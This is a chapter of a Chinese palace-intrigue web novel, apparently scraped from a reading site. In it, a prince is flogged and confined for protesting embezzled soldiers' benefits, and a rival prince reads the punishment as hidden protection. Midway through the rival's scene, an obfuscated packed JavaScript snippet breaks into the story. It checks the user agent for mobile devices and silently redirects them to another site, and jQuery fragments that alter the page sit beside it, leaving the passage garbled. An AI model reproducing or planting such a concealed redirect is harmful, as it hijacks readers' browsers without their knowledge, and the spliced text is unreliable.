第147章:是惩戒还是保护

作品:《无双小王爷

    “老九,”太子眼见梁帝面色逐渐阴沉下去。


    顷刻间仿佛就连殿内暖炉的热气都瞬间凝滞了,太子立刻朝萧恒轻斥了一声,声音里带着不容置疑的兄长威仪。


    “你怎可如此与父皇言语?还不速速向父皇请罪。”


    话音未落,太子已赶忙转向御座,躬身深施一礼,语气转为恳切。


    “父皇息怒,老九毕竟年少,行事思虑难免欠周。”


    “然其初衷,终究是为了我大梁的黎民百姓,心系将士,只是举措过激,方式欠妥。”


    “万望父皇念其一片赤诚,宽宥他这一回。”


    萧恒却梗着脖子,目光毫不退缩地迎上梁帝深邃的眼眸:“父皇,儿臣所言,句句发自肺腑,皆是实情,不知何错之有?”


    “萧恒!”太子侧首瞪向他,声音压得更低,却更显急促,带着警告的意味。


    萧恒面色平静地转向太子,眼神锐利:“皇兄,莫非臣弟说错了?”


    “那便请皇兄指教——如今我大梁**山河,四海承平,究竟倚仗为何?”


    太子神色端凝,一字一句答道:“自然是父皇夙夜操劳、英明决断,文武百官上下一心、共理朝政之功。”


    萧恒闻言,脸上骤然涌起激愤的红潮,声音陡然拔高。


    “依皇兄之言,那前线抛头颅、洒热血的将士们,便无半分功劳吗?”


    “若无我大梁万千儿郎在边关以命相搏,武勋定鼎,何来后方文治的太平年月?”


    “只怕早已烽烟遍地,山河破碎!”


    “萧恒,你太放肆了!”太子语气加重,袖中的手微微攥紧。


    萧恒却似浑不在意,继续朗声说道,每一个字都像砸在地上的冰碴。


    “臣弟何错?此乃铁一般的事实!。”


    “若无边关将士以血肉之躯铸就长城,拒虎狼于国门之外,何来后方安宁?”


    “异族铁蹄早已踏破关隘,劫掠我粮秣,强占我土地,**我妇孺,臣弟今日只想问皇兄,问父皇——”


    萧恒猛地再次转向梁帝,眼眶微红:“若让那些正在边关忍受苦寒、随时准备赴死的将士们知道。”


    “他们即便战死沙场,朝廷曾许给他们家人的抚恤银两,竟也被层层克扣,无法足额送到遗孤手中……他们心中该是何等寒凉?”


    “日后面对如豺狼虎豹般凶残的敌军,他们是否还能义无反顾,以死相拼,去守护身后的万家灯火、千里沃野?”


    萧恒深吸一口气,胸膛剧烈起伏,最终几乎是用尽全身力气吼出。


    “父皇!儿臣斗胆,再问最后一句。”


    “朝廷若连他们的家小都无法妥善照料,他们……又凭什么要为这样的朝廷,在边关浴血死战?”


    最后一言,萧恒声震殿梁,余音回荡。


    “够了!萧恒,你可知你在妄议什么?”太子亦是勃然作色,厉声喝断。


    “让他说。”


    御座之上,梁帝的声音不高,却带着山雨欲来前的沉静,不怒自威。


    “今日,朕就让他说个痛快。”


    ……


    偌大的紫宸殿内,早已被屏退了闲杂侍从,只余天子与二子。


    梁帝的话语始终平静而低沉,然而萧恒与太子的争辩声却一浪高过一浪,穿透紧闭的殿门与厚重的垂帘,隐约递至殿外廊下。


    殿外值守的太监与禁军皆垂首屏息,虽听不真切具体言词,但那激烈的语调、骤然拔高的争执,却清晰可闻。


    人人皆能感到,九皇子齐王此番是铁了心触犯天颜,非但顶撞陛下,即便太子殿下出面训诫,也丝毫不予妥协,父子兄弟三人竟在紫宸殿内爆发了罕见的激烈争吵。


    殿内的声浪持续了约莫一刻钟,忽然,“哐当”一声似有器物翻倒,紧接着便传来梁帝勃然大怒的咆哮:


    “逆子!来人!将这逆子给朕拖出去,廷杖二十。”


    “即刻押回齐王府幽禁,无朕亲笔谕令,不得踏出府门半步,亦不许任何人探视。”


    “诺——!”


    殿门轰然洞开,一队甲胄森然的禁卫军疾步而入,不由分说,左右架起萧恒的胳膊,便将萧恒拖出大殿。


    片刻后,就在紫宸殿前冰凉坚硬的青石砖地上,众目睽睽之下,行刑宦官手持朱漆刑杖,重重落下。


    沉闷的击打声与压抑不住的痛哼惨嚎交织,足足二十杖,杖杖到肉。


    行刑完毕,萧恒已是面色惨白,冷汗浸透里衣,被禁军毫不留情地拽起,草草裹上外袍,扔进一辆等候已久的青篷马车。


    马车疾驰出宫,直抵齐王府。


    府门随之在沉重声响中紧紧关闭,奉命看守的禁军与原本的王府护卫一道,于府外各处要道设岗布防,肃杀之气顿时笼罩了整个王府区域。


    太子则是在萧恒被押走约半个时辰后,方才步履沉重地踏出紫宸殿。


    太子离开时面色晦暗,眉宇紧锁,径直返回东宫时,一路无言。


    宫中发生的一切,自有多双眼睛目睹,多对耳朵听闻。


    萧恒受杖遭禁的消息,如同投入静湖的石子,涟漪迅速扩散。


    不多时,便有几道鬼魅般的身影,借着暮色与宫墙阴影的掩护,悄无声息地溜往不同方向,将今日紫宸殿前的风波,原原本本地传递了出去。


    ……


    此刻,二皇子晋王萧商的府邸书房内。


    萧商身着一袭素雅锦袍,外罩玄色貂皮大氅,头戴紫金冠,正负手立于半开的雕花木窗前,静静凝视窗外簌簌飘落的晚雪。


    书房内暖炉烧得正旺,与窗外的严寒恍若两个世界。


    一名身着劲装的黑衣男子——陌离,正垂首立于二皇子身后三步之处,低声禀报。


    话落便如泥塑木雕般静立不动,等待指示。


    萧商默然片刻,目光仍落在院中渐积的雪絮上,缓缓开口,声音平稳无波:“陌离,对此事,你有何见解?”


    陌离略作思忖,恭敬回道:“依属下愚见,齐王殿下此番举动,似是意图借抚恤金贪墨一案发难,以期赢得军中武将的感戴与支持。”


    “只是……手法过于激烈直接,以致引发文官集团群起**,亦令太子殿下心生警觉。”


    “陛下震怒,下令杖责禁足,表面是惩戒齐王


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16934322|187014||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    殿下行事鲁莽,或亦有平息众怒之意。”


    萧商轻轻“嗯”了一声,不置可否:“分析得有些道理。”


    “然则,本王总觉得,此事内里乾坤,绝非表面这般简单。”


    二皇子深邃的眼眸转向室内,烛火在他眼中跳动,映出一片幽暗难明。


    “殿下是指……?”陌离眉头微蹙,再度陷入沉思。


    片刻,陌离眼中精光一闪,倏然抬头:“莫非……陛下此举,名为惩戒,实为回护?”


    “陛下明旨幽禁齐王,无旨不得出府、不得见人,又当众施以杖刑。”


    “如此一来,若有官员仍不满,欲穷追猛打,陛下便可凭已予严惩为由挡回。”


    “杖责与禁足,反成了保护齐王的屏障?”


    二皇子嘴角勾起一抹极淡的、冷冽的弧度:“看来,这才是咱们那位英明神武的陛下真正的深意所在。”


    “老九这番虽搅动了浑水,触了逆鳞,但所言所行,恐怕恰恰说中了陛下某些心事。”


    “只是眼下各方势力交错,牵一发而动全身,陛下不得不先做足姿态,将老九按下,以安抚某些人。”


    “殿下明鉴,既然如此,我们是否该顺势而为?”


    “暗中示意我们的人,附和陛下心意,一边追查贪墨,一边上奏为齐王陈情?”


    陌离试探问道。


    “不必。”萧商抬手,断然否决。


    “陛下既已决定将老九暂时置于局外,明面上便不会再让他沾染此事。”


    “至少在这风头浪尖上,不会。”


    二皇子转身,走回书案后坐下,姿态从容。


    “替老九求情的折子,本王自会亲笔撰写一份,递上去。”


    “毕竟兄弟之情,表面功夫总要做足,否则在父皇那里,未免显得太过冷血寡恩。”


    “至于底下的人……一律按兵不动,静观其变。此时冒进,徒惹猜忌。”


    陌离有些不解:“可若按兵不动,岂不是错失了借此机会结交军中将领的良机?”


    萧商面色骤然一沉,眸光如冰箭般射向陌离。


    “陛下当年是如何登临大宝的,你莫非忘了?”


    “此时此刻,去伸手拉拢武将,你是觉得陛下老眼昏花,还是觉得这晋王府的墙太高,挡了陛下的视线?”


    二皇子语气又忽然稍缓,却更显森寒。


    “陛下杖责老九,加以禁足,你真以为,仅仅是为了护住他那么简单?”


    “这何尝不是一次敲打,一次警告?告诫所有皇子,有些界线,不可轻易逾越。”


    陌离闻言,骤然惊出一身冷汗,连忙躬身:“属下愚钝,谢殿下点拨!”


    二皇子萧商神色恢复平静,仿佛刚才的寒意从未出现,只淡然道。


    “记住,非常之时,行非常之事,亦需格外谨慎。”


    “做好陛下交代的差事,方是根本。”


    “其余诸事,顺其自然,切莫妄动。”


    “诺!属下谨遵殿下教诲!”


    陌离深深一揖,不敢再有丝毫异议。


    书房内重归寂静,唯有窗外雪落之声,细细簌簌,绵延不绝。